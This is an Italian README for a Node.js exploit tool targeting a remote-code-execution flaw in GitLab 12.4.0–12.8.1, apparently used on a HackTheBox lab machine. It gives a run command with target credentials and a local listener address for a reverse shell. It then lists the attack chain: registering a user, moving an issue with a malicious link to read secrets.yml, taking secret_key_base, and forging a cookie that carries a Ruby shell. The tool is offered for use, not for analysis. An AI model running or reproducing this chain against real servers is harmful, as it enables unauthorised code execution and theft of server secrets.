GitLab v12.4.0-12.8.1 RCE
Basato interamente su https://github.com/dotPY-hax/gitlab_RCE, che non funzionava per me e il parsing HTML sembrava macchinoso, così l'ho riscritto in js.
Utilizzo
Avvia un handler di reverse shell nel modo consueto, quindi esegui questo script con:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
Un proxy può essere specificato con TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080".
Burp è particolarmente utile per il debug con questo.
Cosa fa
- verifica se il target è attivo
- se l'utente fornito esiste, salta al punto 5
- cerca un nome utente che non esista già
- crea quell'utente
- tenta l'accesso
- crea due progetti vuoti
- crea un nuovo ticket di segnalazione con un link dannoso nel corpo nel primo progetto
- sposta il nuovo ticket nell'altro progetto, facendo sì che GitLab riscriva il nostro link dannoso e copi il file a cui punta nella directory uploads
- recupera il file target, in questo caso vogliamo secrets.yml per secret_key_base
- usa secret_key_base per creare un cookie malevolo con la nostra shell Ruby e passarlo a GitLab